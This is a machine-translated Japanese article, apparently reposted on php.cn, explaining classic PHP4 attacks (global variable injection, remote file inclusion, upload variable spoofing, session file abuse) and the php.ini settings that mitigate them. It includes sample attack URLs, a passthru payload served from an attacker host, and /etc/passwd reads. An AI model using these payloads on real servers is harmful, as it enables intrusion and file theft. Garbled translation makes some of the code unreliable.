一般的な PHP の脆弱性に対する攻撃の原因の分析-php手册-php.cn

グローバル変数を使用して攻撃するにはどうすればよいですか?

PHP の変数は事前に宣言する必要はなく、初めて使用するときに自動的に作成され、その型はコンテキストに基づいて自動的に決定されます。プログラマの観点から見ると、これは間違いなく非常に便利なアプローチです。変数を作成したら、プログラム内のどこでも使用できます。この機能の結果、プログラマは変数を初期化することがほとんどなくなります。

明らかに、PHP ベースのアプリケーションの main 関数は通常、ユーザー入力 (主にフォーム変数、アップロードされたファイル、Cookie など) を受け入れ、入力データを処理して、結果をクライアントブラウザーに返します。 PHP コードがユーザー入力にできるだけ簡単にアクセスできるようにするために、PHP は実際にこれらの入力データをグローバル変数として扱います。

例:

プログラムコード

以下为引用的内容：

＜FORM METHOD="GET" ACTION="test.php"＞
＜INPUT TYPE="TEXT" NAME="hello"＞
＜INPUT TYPE="SUBMIT"＞
＜/FORM＞

以下は引用内容です:

これにより、テキストボックスと送信ボタンが表示されます。ユーザーが送信ボタンをクリックすると、「test.php」がユーザーの入力を処理します。「test.php」が実行されると、ユーザーがテキストボックスに入力したデータが「$hello」に含まれます。ここから、攻撃者が希望に応じて任意のグローバル変数を作成できることがわかります。攻撃者がフォーム入力を通じて「test.php」を呼び出すのではなく、ブラウザのアドレスバーに http://server/test.php?hello=hi&setup=no を直接入力すると、「$hello」だけでなく、「$setup」も作成されます。

次のユーザー認証コードは、PHP のグローバル変数によって引き起こされるセキュリティ問題を明らかにします:

以下为引用的内容：

＜?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?＞

プログラムコード

以下は引用内容です:

if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
/ />echo "いくつかの重要な情報";
?>

上記のコードは、まずユーザーのパスワードが「hello」であるかどうかを確認し、一致する場合は、「$auth」を「1」に設定します。これは、認証が成功したことを意味します。その後、「$suth」が「1」の場合、いくつかの重要な情報が表示されます。

このコードは、値が設定されていない場合は「$auth」が空であると想定していますが、攻撃者は「http://server/test.php?auth=1」などを通じて任意のグローバル変数を作成し、値を割り当てることができます。このコードを完全にだまして、認証済みであると信じ込ませることができます。

したがって、PHP プログラムのセキュリティを向上させるために、明確に定義されていない変数は信頼できません。プログラム内に多くの変数がある場合、これは非常に困難な作業になる可能性があります。

一般的な保護方法は、送信方法 (GET または POST) に応じて、配列 HTTP_GET[] または POST_VARS[] 内の変数をチェックすることです。 PHP が「track_vars」オプションをオンにして構成されている場合 (これがデフォルトです)、ユーザーが送信した変数はグローバル変数と上記の配列で使用できます。

しかし、PHP にはユーザー入力の処理に使用される 4 つの異なる配列変数があることに言及する価値があります。 HTTP_GET_VARS 配列は GET モードで送信された変数の処理に使用され、HTTP_POST_VARS 配列は POST モードで送信された変数の処理に使用され、HTTP_COOKIE_VARS 配列は Cookie ヘッダーとして送信された変数の処理に使用され、HTTP_POST_FILES 配列 (比較的新しい PHP によって提供される) に使用されます。 )、これはユーザーが変数を送信するための完全にオプションの方法です。ユーザーリクエストは変数をこれら 4 つの配列に簡単に保存できるため、安全な PHP プログラムはこれら 4 つの配列をチェックする必要があります。リモートファイル経由で攻撃するにはどうすればよいですか?

以下为引用的内容：

＜?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
n");
?＞

PHP は、プログラマが特定の関数を簡単に実装できるようにするための多数の関数を提供する機能豊富な言語です。しかし、セキュリティの観点から見ると、機能が多ければ多いほど、安全に保つことが難しくなります。は、リモートファイルの例です。プログラムコード

以下は引用内容です: if (!($fd = fopen("$filename", "r"))
echo("ファイルを開けませんでした: $filename
n") ;
?>

上記のスクリプトは、ファイル「$filename」を開こうとしますが、失敗するとエラーメッセージが表示されます。明らかに、「$filename」を指定できれば、このスクリプトを使用してシステム上の任意のファイルを参照できます。ただし、このスクリプトのあまり明らかではない機能は、他の WEB サイトまたは FTP サイトからファイルを読み取ることができることです。実際、PHP のファイル処理関数のほとんどは、リモートファイルを透過的に処理します。

例:

「$filename」が「http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir」として指定されている場合

上記のコードは、実際にはホストターゲットの Unicode 脆弱性を悪用して dir コマンドを実行します。これにより、リモートファイルに対する include()、require()、include_once()、および require_once() のサポートがコンテキストでより興味深いものになります。これらの関数の主な機能は、指定されたファイルの内容を組み込み、PHP コードに従って解釈することです。これらは主にライブラリファイルで使用されます。

例:

プログラムコード

以下为引用的内容：

＜?php
include($libdir . "/languages.php");
?＞

以下は引用内容です:

include($libdir . "/lungs.php");
?>

上記の例では、「$libdir」は通常、コードの実行前に設定されているパスです。攻撃者が「$libdir」の設定を阻止できれば、このパスを変更できます。しかし、攻撃者は指定したパスにあるファイル language.php にしかアクセスできないため、何もできません (Perl の「Poisonnull バイト」攻撃は PHP には影響しません)。しかし、リモートファイルのサポートにより、攻撃者は何でもできるようになります。たとえば、攻撃者は次の内容を含むファイル language.php をサーバーに配置する可能性があります:

以下为引用的内容：

＜?php
passthru("/bin/ls /etc");
?＞

プログラムコード

以下は引用内容です:

passthru("/bin/ls /etc");
?>

次に、「$libdir」を「http:///」に設定します。これにより、ターゲットホスト上で上記の攻撃コードを実行できるようになり、「/etc」ディレクトリの内容が結果として顧客がブラウザに表示されます。

攻撃コードは、それが配置されているサーバー (つまり、evilhost) 上では独自の PHP プログラムを実行しないことに注意してください。それ以外の場合、攻撃コードは、実行されるのではなく、配置されているサーバーを攻撃します。ターゲットサーバー。

ファイルアップロード経由で攻撃するには?

以下为引用的内容：

＜FORM METHOD="POST" ENCTYPE="multipart/form-data"＞
＜INPUT TYPE="FILE" NAME="hello"＞
＜INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"＞
＜INPUT TYPE="SUBMIT"＞
＜/FORM＞

PHP は、RFC 1867 に基づいてファイルのアップロードを自動的にサポートします。次の例を見てみましょう: プログラムコード

以下は引用内容です:

上記のコードにより、ユーザーはローカルマシンからファイルを選択でき、[送信] をクリックすると、ファイルがサーバーにアップロードされます。これは明らかに便利な機能ですが、PHP の応答方法により、この機能は安全ではなくなります。 PHP がそのようなリクエストを初めて受信すると、呼び出された PHP コードの解析を開始する前でも、まずリモートユーザーからファイルを受け入れ、ファイルの長さが「$MAX_FILE_SIZE 変数」で定義された値を超えているかどうかを確認します。テスト用に、ファイルはローカルの一時ディレクトリに保存されます。

したがって、PHP プログラムがファイルのアップロードを受け入れるかどうかを決定する前に、攻撃者は PHP を実行しているホストに任意のファイルを送信することができます。

ファイルのアップロードを処理する PHP プログラムを考えてみましょう。ファイルは受信され、サーバーに保存されます (場所は構成ファイル (通常は /tmp) で指定されます)。通常、拡張子はランダムです。「phpxXuoXG」の形式に似ています。 PHP プログラムはファイルを処理するためにファイルの情報をアップロードする必要があります。これには 2 つの方法があります。1 つは PHP3 ですでに使用されており、もう 1 つは以前の方法に関するセキュリティアドバイザリを作成した後に導入されました。

ほとんどの PHP プログラムは、アップロードされたファイルを処理するために依然として古い方法を使用しています。 PHP は、上記の例のように、アップロードされたファイルを記述する 4 つのグローバル変数を設定します。

プログラムコード

以下は引用内容です:

以下为引用的内容：

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g"c:\temp\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

$hello = ローカルマシン上のファイル名 (例: "/tmp/phpxXuoXG")
$hello_size = ファイルのバイト単位のサイズ (例: 1024)
$hello_name = ローカルマシン上のファイルの元の名前リモートシステム (例: "c:\temp\hello.txt")
$hello_type = アップロードされたファイルの MIME タイプ (例: "text/plain")

次に、PHP プログラムは、「$hello」に従って指定されたファイルの処理を開始します。問題は、「$hello」が必ずしも PHP によって設定される変数ではなく、リモートユーザーであれば誰でも指定できることです。以下を使用すると:

以下为引用的内容：

http://vulnhost/vuln.php?hello=/ ... e=10240&hello_type=
text/plain&hello_name=hello.txt

以下は引用内容です:

http://vulnhost/vuln.php?hello=/ ... e=10240&hello_type=
text/plain&hello_name=hello.txt

以下为引用的内容：

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

は、次の PHP グローバル変数につながります (もちろん POST メソッドも (Cookie も) 可能です):

プログラムコード

以下は引用内容です:

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上記のフォームデータは、PHP プログラムが期待する変数を満たしていますが、現時点では、PHP プログラムはアップローダーのローカルマシン上にあるはずのアップロードファイルを処理せず、サーバー上で「/etc/passwd」を処理します。 (通常はコンテンツの露出につながります) ファイル。この攻撃を使用すると、機密ファイルの内容が暴露される可能性があります。

以下为引用的内容：

＜?php
if (file_exists($theme)) // Checks the file exists on the local system (noremote files)
include("$theme");
?＞

PHP の新しいバージョンは、HTTP_POST_FILES[] を使用してアップロードされたファイルを判断し、この問題を解決するための多くの関数も提供します。たとえば、ファイルが実際にアップロードされたかどうかを判断する関数があります。しかし実際には、依然として古い方法を使用している PHP プログラムが多数あるはずなので、それらもこの攻撃に対して脆弱です。ファイルアップロード攻撃手法のバリエーションとして、次のコードを見てみましょう: プログラムコード

以下は引用内容です: ＜?php
if (file_exists($theme)) // ローカルシステムにファイルが存在することを確認します（リモートファイルではありません）
include("$theme");
?>

攻撃者が「$theme」を制御できる場合、「$theme」を使用してリモートシステム上の任意のファイルを読み取ることができることは明らかです。攻撃者の最終的な目標は、リモートサーバー上で任意の命令を実行することですが、リモートファイルを使用できないため、リモートサーバー上に PHP ファイルを作成する必要があります。これは最初は不可能に思えるかもしれませんが、攻撃者が最初に PHP コードを含むファイルをローカルマシン上に作成し、次に "theme" という名前のファイルフィールドを含むフォームを作成し、最後にこのフォームを使用すると、これが行われます。作成した PHP コードを含むファイルをファイルアップロードを通じて上記のコードに送信すると、PHP は攻撃者が送信したファイルを保存し、file_exists() 関数を攻撃者が送信したファイルに設定します。チェックに合格し、攻撃者のコードが実行されます。

攻撃者は任意の命令を実行する能力を獲得した後、権限を昇格したり結果を拡張したりすることを意図しているのは明らかであり、そのためにはサーバー上で利用できないいくつかのツールセットが必要となり、ファイルのアップロードが再び攻撃者を助けます。攻撃者は、ファイルアップロード機能を使用してツールをアップロードし、サーバーに保存してからコマンドを実行し、chmod() を使用してファイルのアクセス許可を変更し、それを実行する可能性があります。たとえば、攻撃者はファイアウォールや IDS をバイパスしてローカルの root 攻撃プログラムをアップロードして実行し、root 権限を取得する可能性があります。

ライブラリファイルを介して攻撃するにはどうすればよいですか?

前に説明したように、include() と require() は主にコードベースをサポートするためのものです。通常、頻繁に使用する関数を別のファイルに入れ、この独立したファイルを使用する必要があるためです。関数を使用するには、このコードライブラリを現在のファイルに含めるだけで済みます。

当初、PHP プログラムを開発してリリースするとき、コードライブラリとメインのプログラムコードを区別するために、通常はコードライブラリファイルに拡張子「.inc」を設定していましたが、すぐにこれは間違いであることがわかりました。 , そのようなファイルは、PHP インタープリターによって PHP コードに正しく解析できないためです。このようなファイルをサーバー上で直接リクエストすると、そのファイルのソースコードが取得されます。これは、PHP が Apache モジュールとして使用される場合、PHP インタープリターがファイルの拡張子に基づいてファイルを PHP に解析するかどうかを決定するためです。コード。拡張子はサイト管理者によって指定されます。通常は「.php」、「.php3」、「.php4」です。重要な構成データが適切な拡張子なしで PHP ファイルに含まれている場合、リモート攻撃者がこの情報を簡単に入手できます。

最も簡単な解決策は、各ファイルに PHP ファイル拡張子を指定することです。これにより、ソースコードの漏洩を効果的に防ぐことができますが、攻撃者がこのファイルを要求することによって、本来あるべきコードを引き起こす可能性もあります。コンテキスト内で実行して独立して実行すると、前述したすべての攻撃につながる可能性があります。

これは明白な例です:

<
main.php 内:

プログラムコード

tr>

以下为引用的内容：

＜?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?＞

In libdir/loadlanguage.php:
＜?php
...
include("$langDir/$userLang");
?＞

以下は引用内容です: $libDir = "/libdir"; $langDir = "$libdir/langages" ... include("$libdir/load language.php": ?> libdir/load language.php 内: ... include("$langDir/$userLang") ?>

「libdir/load language.php」が「main.php」によって呼び出される場合、それは非常に安全ですが、「libdir/load language」には「.php」拡張子が付いているため、リモート攻撃者はこのファイルを直接リクエストできます。「$langDir」と「$userLang」の値は任意に指定できます。

セッションファイルを介して攻撃するにはどうすればよいですか?

PHP 4 以降のバージョンはセッションのサポートを提供します。セッションの主な機能は、PHP プログラムのページ間のステータス情報を保存することです。たとえば、ユーザーが Web サイトにログインすると、ログインしたという事実と Web サイトにログインしたユーザーに関する情報がセッションに保存され、Web サイトを閲覧すると、すべての PHP コードがこの状態を取得できます。情報。

実際、セッションが開始されると (実際には、最初のリクエストで自動的に開始するように構成ファイルで設定されます)、リモートブラウザが常に送信している場合、ランダムな「セッション ID」が生成されます。この「セッション ID」を送信すると、」を要求すると、セッションは維持されます。これは、Cookie を使用するか、各ページでフォーム変数 (「セッション ID」を含む) を送信することで簡単に実現できます。 PHP プログラムはセッションを使用して特別な変数を登録でき、その値は各 PHP スクリプトの終了後にセッションファイルに保存され、各 PHP スクリプトの開始前にも変数にロードされます。簡単な例を次に示します:

プログラムコード

以下为引用的内容：

＜?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?＞

以下は引用内容です:

session_destroy(); // 現在セッション内のデータをすべて削除します

$session_auth = "shaun";

session_register("session_auth"); // $session_auth をセッションとして登録します変数

以下为引用的内容：

＜?php
if (!empty($session_auth))
// Grant access to site here
?＞

PHP の新しいバージョンでは、「$session_auth」の値が自動的に「shaun」に設定されます。これは、ステートレス Web にとっては確かに問題です。しかし、私たちは注意する必要があります。明らかな問題は、変数がセッションから取得されたものであることを確認することです。たとえば、上記のコードの場合、後続のスクリプトが次のとおりです。

以下は引用内容です: if (!empty($session_auth)) // ここにサイトへのアクセスを許可します ?>

上記のコードは、「$session_auth」に値が割り当てられている場合、その値はユーザー入力ではなくセッションから割り当てられており、攻撃者がフォーム入力を通じて値を割り当てた場合、サイトにアクセスできると想定しています。攻撃者は、この攻撃方法を使用する前に変数をセッションに登録する必要があることに注意してください。変数がセッションに入力されると、フォーム入力はすべて上書きされます。

セッションデータは通常、ファイルに保存されます (場所は設定可能で、通常は「/tmp」)。このファイルには通常、「sess_」の形式が含まれます。変数値とその他のデータ。マルチホストシステムでは、ファイルが Web サーバーを実行しているユーザー (通常は誰も) として保存されるため、悪意のあるサイト所有者がセッションファイルを作成して他のサイトにアクセスしたり、セッションファイルの機密情報を検査したりする可能性があります。。

セッションメカニズムは、攻撃者が自分の入力をリモートシステム上のファイルに保存するための別の利便性も提供します。上記の例では、攻撃者は PHP コードを含むファイルをリモートシステムに配置する必要がありますが、ファイルアップロードを使用してこれを実行できない場合は、通常、セッションを使用して自分の希望に従って変数に値を割り当て、その後、その値を推測します。セッションファイルの場所であり、ファイル名が「php」であることがわかっているため、ディレクトリを推測するだけで済みます。通常、ディレクトリは「/tmp」です。

さらに、攻撃者は任意に「セッション ID」 (「hello」など) を指定し、この「セッション ID」を使用してセッションファイル (「/tmp/sess_hello」など) を作成することもできますが、「セッション ID」は文字と数字の組み合わせのみです。

データタイプごとに攻撃するにはどうすればよいですか?

PHP には緩いデータ型があり、変数の型は変数が配置されているコンテキストによって異なります。例: "$hello" は値 "" を持つ文字列変数として開始されますが、評価されると整数変数 "0" になり、予期しない結果が生じる場合があります。 "$hello" の値が "000" と "0" の間で異なる場合、empty() によって返される結果は true ではありません。

PHP の配列は連想配列です。つまり、配列のインデックスは文字列型です。これは、「$hello["000"]」と「$hello[0]」も異なることを意味します。

プログラムを開発するときは、上記の問題を注意深く考慮する必要があります。たとえば、ある場所で変数が「0」であるかどうかをテストし、別の場所でそれを確認するために empty() を使用するべきではありません。

エラーが発生しやすい関数を使用して攻撃するにはどうすればよいですか?以下は、エラーが発生しやすい関数の詳細なリストです:

＜PHPコード実行＞

require(): 指定されたファイルの内容を読み取り、PHP コードとして解釈します
include(): 上記と同じ
eval(): 指定された文字列を PHP コードとして実行します
preg_replace() : 「/e」スイッチと一緒に使用すると、置換文字列は PHP コード

として解釈されます。

＜コマンド実行＞

exec(): 指定されたコマンドを実行し、実行結果の最後の行を返します

passthru(): 指定されたコマンドを実行し、すべての結果をクライアントのブラウザに返します

``: 指定されたコマンドを実行し、すべての結果を配列

に返します。

system(): passthru() と同じですが、バイナリデータを処理しません

popen(): 指定されたコマンドを実行し、入力または出力を PHP ファイル記述子に接続します

＜流出したファイル＞

fopen(): ファイルを開き、PHP ファイル記述子に対応します

readfile(): ファイルの内容を読み取り、クライアントのブラウザに出力します

file(): ファイルの内容全体を配列に読み取ります

PHP のセキュリティを強化するにはどうすればよいですか?

上で紹介した攻撃はすべて、PHP4 のデフォルトのインストールに対して十分に実装できますが、PHP の構成は非常に柔軟であり、いくつかの PHP オプションを構成することで、これらの攻撃の一部に対抗することが完全に可能です。以下では、実装の難易度に応じていくつかの構成を分類します。

以下为引用的内容：

*低难度
**中低难度
***中高难度
****高难度

以下は引用内容です: *低難易度 **中低難易度 ***中高難易度 ****高難易度

PHP が提供するすべてのオプションを使用すると、PHP の機能の多くは使用できなくなるため、サードパーティのコードであっても PHP は非常に安全になります。

**** "register_globals" を "off" に設定します
このオプションは、PHP によるユーザー入力用のグローバル変数の作成を無効にします。つまり、ユーザーがフォーム変数 "hello" を送信した場合、PHP は " $ hello" " ですが、"HTTP_GET/POST_VARS['hello']" のみが作成されます。これは PHP では非常に重要なオプションです。このオプションをオフにすると、プログラミングに大きな不便が生じます。

*** 「セーフモード」を「オン」に設定します

このオプションをオンにすると、次の制限が追加されます:

1．実行できるコマンドを制限する

2．使用できる機能を制限する

3. スクリプトの所有権とターゲットファイルの所有権に基づくファイルアクセス制限

4．ファイルアップロード機能を無効にする

これは ISP にとって「素晴らしい」オプションであり、PHP のセキュリティも大幅に向上します。

** 「open_basedir」を設定

このオプションは、指定されたディレクトリ外でのファイル操作を禁止し、ローカルファイルまたはリモートファイルに対する include() による攻撃を効果的に排除できますが、ファイルアップロードやセッションファイルに対する攻撃には依然として注意する必要があります。

** 「display_errors」を「off」に設定し、「log_errors」を「on」に設定します

このオプションは、エラーメッセージが Web ページに表示されないようにし、代わりにログファイルに記録します。これにより、攻撃者がターゲットスクリプト内の関数を検出するのを効果的に防ぐことができます。

* 「allow_url_fopen」を「off」に設定します